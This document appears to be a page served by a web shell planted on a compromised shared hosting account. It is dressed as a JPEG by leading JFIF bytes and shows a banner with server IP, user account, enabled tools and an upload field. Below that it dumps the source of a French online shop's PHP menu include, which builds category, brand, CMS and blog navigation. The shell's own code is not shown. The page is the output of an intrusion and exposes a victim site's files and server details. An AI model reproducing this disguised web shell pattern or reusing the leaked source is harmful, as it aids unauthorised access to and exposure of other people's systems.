ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/vracandbio.com/includes/ |
Upload File : |
<?php
//****************************************************************************************//
//******************************* Menu du haut (catégories) ******************************//
//****************************************************************************************//
$sqlm = $GLOBALS['bdd']->query('SELECT id, seo, parent_id, name, picture FROM marques
WHERE status = 1 AND parent_id = 0
ORDER BY position');
$marques = $sqlm->fetchAll();
$sql = $GLOBALS['bdd']->query('SELECT id, seo, parent_id, name, favoris FROM categories
WHERE status = 1
ORDER BY position');
$categories = $sql->fetchAll();
$sqlc = $GLOBALS['bdd']->query('SELECT location, title, id, seo FROM cms
WHERE status = 1 AND id < 7
ORDER BY position');
$cms = $sqlc->fetchAll();
$sqlb = $GLOBALS['bdd']->query('SELECT seo, title, picture, date_insere FROM blog
WHERE status = 1
ORDER BY position ASC');
$blog = $sqlb->fetchAll();
if ($grande_contenance == '1'){
function afficher_menu($parent, $niveau, $array, $pages, $articles, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $discount_existe, $margeMenu, $act_marq, $AffiPrix ) {
// Activation de produit a la Une aleatoire dans le grand menu 1=oui 0=non
$act_prodmen = '1';
if ($act_prodmen > 0) {
if ($AffiPrix >0) {
$sql = $GLOBALS['bdd']->query('SELECT pa.id_attribute, p.id, p.seo, p.name, p.price, p.discount, pp.picture, p.hstock, p.stock, m.name AS lamarque FROM products p
INNER JOIN products_pictures pp
ON pp.id_product = p.id
LEFT JOIN products_marques pm
ON pm.id_product = p.id
LEFT JOIN marques m
ON m.id= pm.id_marque
LEFT JOIN products_attributes pa
ON pa.id_product = p.id
WHERE p.status = 1 AND p.featured = 1 AND pp.position = 1 AND p.hstock < 1
ORDER BY RAND()');
$men = $sql->fetch();
$menu_image = $men['picture'];
} else {
$sql = $GLOBALS['bdd']->query('SELECT pa.id_attribute, p.id, p.seo, p.name, p.price, p.discount, pp.picture, p.hstock, p.stock, m.name AS lamarque FROM products p
INNER JOIN products_pictures pp
ON pp.id_product = p.id
LEFT JOIN products_marques pm
ON pm.id_product = p.id
LEFT JOIN marques m
ON m.id= pm.id_marque
LEFT JOIN products_attributes pa
ON pa.id_product = p.id
WHERE p.status = 1 AND p.featured = 1 AND pp.position = 1
ORDER BY RAND()');
$men = $sql->fetch();
$menu_image = $men['picture'];
}
}
$html = "";
$niveau_precedent = 0;
if (!$niveau && !$niveau_precedent) {
$html .= "\n<ul class=\"dropdown dropdown-linear dropdown-columnar\" >\n";
/////////////////////////////////////////////
// Marques
if($act_marq >0)
{
$html .= '<li><a href="#" class="dir"> '.$marq_names_menu.' </a>' . "\n";
$html .= "<ul>\n";
foreach ($marques AS $marq)
{
if ($marq['seo'] !=='')
{
$html .= "<li><a href=\"w-" . $marq['seo'] . "\" class=\"dir\" style=\"font-weight:normal;text-transform :none; margin-top: -10px;\"> " . stripcslashes($marq['name']) . " </a></li>";
}
}
$html .= "</ul></li>\n";
}
//////////////////////////////////////////////
// Index
// if(in_array(basename($_SERVER['PHP_SELF']), array('index.php')))
// {
// $html .= "<li class=\"activ\"><a href=\"index.php\" class=\"nav-item\">Accueil</a>";
// }
// else
// {
// $html .= "<li><a href=\"index.php\" class=\"nav-item\">Accueil</a>";
// }
/////////////////////////////////////////////
}
$pop=0;
foreach ($array AS $noeud) { $pop=$pop+1;
if ($parent == $noeud['parent_id']) {
if ($niveau_precedent < $niveau) {
if ($act_prodmen > 0) {
/////////////////////////////////////////////////////////////////////// Produit a la Une !
if ($pop =='2') {
$html .= "\n<ul><li style='display: inline;background: #fff;float: right; margin-right:30px;border:0;'><a href=\"produit-".$men['seo']." \" style='background: #fff;color: #000; font-weight: bold;border:0;' >
<figure class='bloc_une' style='background: transparent; padding: 0; width: 100%; margin-top: 10px; margin-bottom: 10px; margin-left:auto; border:0; border-radius: 0'><img src='uploadfiles/products/mini/" . $menu_image . "' alt='' title='' style='height: 120px;display: inline;margin-top: 5px;border-radius: 4px' />
<figcaption class='bloc_une' style='margin-top:10px'>". $men['name'] ."";
if (!empty($men['lamarque'])) {
$html .= "<br /><span style='font-size: 14px; color: #cc0000;'>". $men['lamarque'] ."</span><br />";
} else {
$html .= "<br />";
}
if ($AffiPrix >0) {
$html .= "";
$price = number_format($men['price'], 2, ',', ' ');
if ($men['discount'] < 1) {
$html .= "<br /><span style='font-size: 24px; color: #cc0000;font-weight:100;'>". $price ." €</span>";
} else {
$prom = $men['price'] - $men['price'] * ($men['discount'] / 100);
$prom = number_format($prom, 2, ',', ' ');
$html .= "<br /><span style='font-size: 18px;color: #000;font-weight:100;text-decoration:line-through'>". $price ." €</span>";
$html .= "<br /><br /><span style='font-size: 24px;color: #cc0000;font-weight:100'>". $prom ." €</span>";
}
} else {
$html .= "<br /><span style='font-size: 22px;color: #000;font-weight:100; '><i class=\"fa fa-eye fa-2x\" ></i></span>";
}
$html .= "</figcaption></figure></a></li>";
} else {
$html .= "\n<ul>\n";
}
/////////////////////////////////////////////////////////////////////// Produit a la Une END !
} else {
$html .= "\n</ul>\n";
}
}
$html .= "<li><a href=\"categorie-" . $noeud['seo'] . "\" class=\"dir\"> " . stripcslashes($noeud['name']) . " </a>";
$niveau_precedent = $niveau;
$html .= afficher_menu($noeud['id'], ($niveau + 1), $array, $cms, $blog, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $discount_existe, $margeMenu, $act_marq, $AffiPrix) ;
}
}
if (($niveau_precedent == $niveau) && ($niveau_precedent != 0))
{
$html .= "</ul>\n</li>\n";
}
elseif ($niveau_precedent == $niveau)
{
if ($AffiPrix >0) {
if ($discount_existe > 0) {
if (in_array(basename($_SERVER['PHP_SELF']), array('discounts.php')))
{
$html .= '<li class="activ"><a href="promotions" class="nav-item"> NOS '.$menu_impro.' </a></li>' . "\n";
}
else
{
$html .= '<li><a href="promotions" class="dir"> NOS '.$menu_impro.' </a></li>' . "\n";
}
}
}
if ($act_events > 0) {
if (in_array(basename($_SERVER['PHP_SELF']), array('events.php')))
{
$html .= '<li class="activ"><a href="evenements" class="nav-item"> '.$txt_events.' </a></li>' . "\n";
}
else
{
$html .= '<li><a href="evenements" class="dir"> '.$txt_events.' </a></li>' . "\n";
}
}
$html .= '<li><a href="#" class="dir"> EN SAVOIR PLUS </a>' . "\n";
$html .= "\n<ul>\n";
$html .= '<li><a href="#" class="dir">INFORMATIONS</a>' . "\n";
$html .= "<ul>\n";
if ($AffiPrix >0) {
foreach ($pages AS $pag) {
$html .= "<li><a href=\"page-" . $pag['seo'] . "\" class=\"dir\">" . stripcslashes($pag['title']) . "</a></li>";
}
} else {
foreach ($pages AS $pag) {
if ($pag['id'] !== '1' AND $pag['id'] !== '2' AND $pag['id'] !== '5'){
$html .= "<li><a href=\"page-" . $pag['seo'] . "\" class=\"dir\">" . stripcslashes($pag['title']) . "</a></li>";
}
}
}
$html .= "</ul></li>\n";
$html .= '<li><a href="#" class="dir">NOTRE BLOG</a>' . "\n";
$html .= "<ul>\n";
foreach ($articles AS $arti) {
$html .= "<li><a href=\"blog-" . $arti['seo'] . "\" class=\"dir\">" . stripcslashes($arti['title']) . "</a></li>";
}
$html .= "</ul></li>\n";
if ($AffiPrix <1) {
if (in_array(basename($_SERVER['PHP_SELF']), array('contact.php')))
{
$html .= '<li class="activ"><a href="nous-contacter" class="nav-item"> NOUS CONTACTER </a></li>' . "\n";
} else {
$html .= '<li><a href="nous-contacter" class="dir"> NOUS CONTACTER </a></li>' . "\n";
}
}
$html .= "</ul></li></ul>\n";
} else {
$html .= "</li>\n";
}
return $html;
}
$smarty->assign("menu", afficher_menu(0, 0, $categories, $cms, $blog, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $discount_existe, $margeMenu, $act_marq, $AffiPrix));
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
} else {
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function afficher_menu($parent, $niveau, $array, $pages, $articles, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $topMenu, $act_marq, $margeMenu, $AffiPrix) {
$html = "";
$niveau_precedent = 0;
if (!$niveau && !$niveau_precedent) {
$html .= "\n<ul id=\"menu\" style=\"margin-top: " .$topMenu. "px; margin-left: " .$margeMenu. "% \">\n";
if(in_array(basename($_SERVER['PHP_SELF']), array('index.php')))
{
$html .= "<li class=\"active\"><a href=\"index.php\" class=\"nav-item\">Accueil</a>";
}
else
{
$html .= "<li><a href=\"index.php\" class=\"nav-item\">Accueil</a>";
}
if($act_marq >0){
$html .= '<li><a href="#" class="dir"><b>'.$marq_names_menu.'</b></a>' . "\n";
$html .= "<ul>\n";
foreach ($marques AS $marq) {
if ($marq['seo'] !==''){
$html .= "<li><a href=\"w-" . $marq['seo'] . "\" class=\"dir\"><b>" . stripcslashes($marq['name']) . "</b></a>";
}
}
$html .= "</ul></li>\n";
}
/////////////////////////////////////////////////////
}
foreach ($array AS $noeud) {
if ($parent == $noeud['parent_id']) {
if ($niveau_precedent < $niveau) {
$html .= "\n<ul>\n";
}
//$html .= "<a onclick="javascript: showmenu(document.getElementById('sousmenu1'));" style="cursor: pointer;">" . $noeud['nom'] . "</a>";
if(in_array(basename($_SERVER['PHP_SELF']), array('category.php')) && $_GET['seo'] == $noeud['seo'])
{
$html .= "<li class=\"active\"><a href=\"categorie-" . $noeud['seo'] . "\" class=\"dir\">" . stripcslashes($noeud['name']) . " </a>";
}
else
{
$html .= "<li><a href=\"categorie-" . $noeud['seo'] . "\" class=\"nav-item\">" . stripcslashes($noeud['name']) . "</a>";
}
//$html .= "<li><a href=\"<? echo format_url($noeud['nom'])); .html"\">" . $noeud['nom'] . "</a>";
$niveau_precedent = $niveau;
$html .= afficher_menu($noeud['id'], ($niveau + 1), $array, $pages, $articles, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $topMenu, $act_marq, $margeMenu, $AffiPrix);
}
}
if (($niveau_precedent == $niveau) && ($niveau_precedent != 0))
{
$html .= "</ul>\n</li>\n";
}
elseif ($niveau_precedent == $niveau)
{
if ($AffiPrix >0) {
if (in_array(basename($_SERVER['PHP_SELF']), array('discounts.php')))
{
$html .= '<li class="active"><a href="promotions" class="nav-item">'.$menu_impro.'</a></li>' . "\n";
}
else
{
$html .= '<li><a href="promotions" class="nav-item">'.$menu_impro.'</a></li>' . "\n";
}
}
if ($act_events > 0) {
if (in_array(basename($_SERVER['PHP_SELF']), array('events.php')))
{
$html .= '<li class="activ"><a href="evenements" class="nav-item"><b>'.$txt_events.' </b></a></li>' . "\n";
}
else
{
$html .= '<li><a href="evenements" class="dir"><b>'.$txt_events.' </b></a></li>' . "\n";
}
}
if ($AffiPrix <1) {
if (in_array(basename($_SERVER['PHP_SELF']), array('contact.php')))
{
$html .= '<li class="activ"><a href="nous-contacter" class="nav-item"><b>Nous contacter </b></a></li>' . "\n";
}
else
{
$html .= '<li><a href="nous-contacter" class="dir"><b>Nous contacter </b></a></li>' . "\n";
}
}
$html .= "</ul>\n";
}
else
{
$html .= "</li>\n";
}
return $html;
}
$smarty->assign("menu", afficher_menu(0, 0, $categories, $pages, $articles, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $topMenu, $act_marq, $margeMenu, $AffiPrix));
}
//****************************************************************************************//
//*********************************** Menu Responsive ************************************//
//****************************************************************************************//
function afficher_menu_responsive($parent, $niveau, $array, $pages, $articles, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $act_marq, $AffiPrix) {
$html = "";
$niveau_precedent = 0;
if (!$niveau && !$niveau_precedent) {
$html .= "\n<ul class=\"nav\">\n";
if(in_array(basename($_SERVER['PHP_SELF']), array('index.php')))
{
$html .= "<li class=\"active\"><a href=\"index.php\">ACCUEIL</a>";
}
else
{
$html .= "<li><a href=\"index.php\">ACCUEIL</a>";
}
if($act_marq >0)
{
$html .= '<li><a href="#" class="dir">'.strtoupper($marq_names_menu).'</a>' . "\n";
$html .= "<ul>\n";
foreach ($marques AS $marq) {
$html .= "<li><a href=\"w-" . $marq['seo'] . "\" class=\"dir\"><b>" . stripcslashes($marq['name']) . "</b></a>";
}
$html .= "</ul></li>\n";
}
}
foreach ($array AS $noeud) {
if ($parent == $noeud['parent_id']) {
if ($niveau_precedent < $niveau) {
$html .= "\n<ul>\n";
}
//$html .= "<a onclick="javascript: showmenu(document.getElementById('sousmenu1'));" style="cursor: pointer;">" . $noeud['nom'] . "</a>";
if(in_array(basename($_SERVER['PHP_SELF']), array('category.php')) && $_GET['seo'] == $noeud['seo'])
{
$html .= "<li class=\"active\"><a href=\"categorie-" . $noeud['seo'] . "\">" . stripcslashes(strtoupper($noeud['name'])) . "</a>";
}
else
{
$html .= "<li><a href=\"categorie-" . $noeud['seo'] . "\">" . stripcslashes(strtoupper($noeud['name'])) . "</a>";
}
//$html .= "<li><a href=\"<? echo format_url($noeud['nom'])); .html"\">" . $noeud['nom'] . "</a>";
$niveau_precedent = $niveau;
$html .= afficher_menu_responsive($noeud['id'], ($niveau + 1), $array, $cms, $blog, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $act_marq, $AffiPrix);
}
}
if (($niveau_precedent == $niveau) && ($niveau_precedent != 0))
{
$html .= "</ul>\n</li>\n";
}
elseif ($niveau_precedent == $niveau)
{
if ($AffiPrix >0) {
if (in_array(basename($_SERVER['PHP_SELF']), array('discounts.php')))
{
$html .= '<li class="active"><a href="promotions">'.$menu_impro.'</a></li>' . "\n";
}
else
{
$html .= '<li><a href="promotions">'.$menu_impro.'</a></li>' . "\n";
}
}
if (in_array(basename($_SERVER['PHP_SELF']), array('events.php')))
{
$html .= '<li class="active"><a href="evenements">'.strtoupper($txt_events).'</a></li>' . "\n";
}
else
{
$html .= '<li><a href="evenements">'.strtoupper($txt_events).'</a></li>' . "\n";
}
if (in_array(basename($_SERVER['PHP_SELF']), array('blog.php')))
{
$html .= '<li class="active"><a href="blog">BLOG</a></li>' . "\n";
}
else
{
$html .= '<li><a href="blog">BLOG</a></li>' . "\n";
}
if (in_array(basename($_SERVER['PHP_SELF']), array('contact.php')))
{
$html .= '<li class="active"><a href="contact.php">CONTACT</a></li>' . "\n";
}
else
{
$html .= '<li><a href="contact.php">CONTACT</a></li>' . "\n";
}
$html .= "</ul>\n";
}
else
{
$html .= "</li>\n";
}
return $html;
}
$smarty->assign("menu_responsive", afficher_menu_responsive(0, 0, $categories, $cms, $blog, $marques, $marq_names_menu, $sous_marq, $menu_impro, $txt_events, $act_events, $act_marq, $AffiPrix));
?>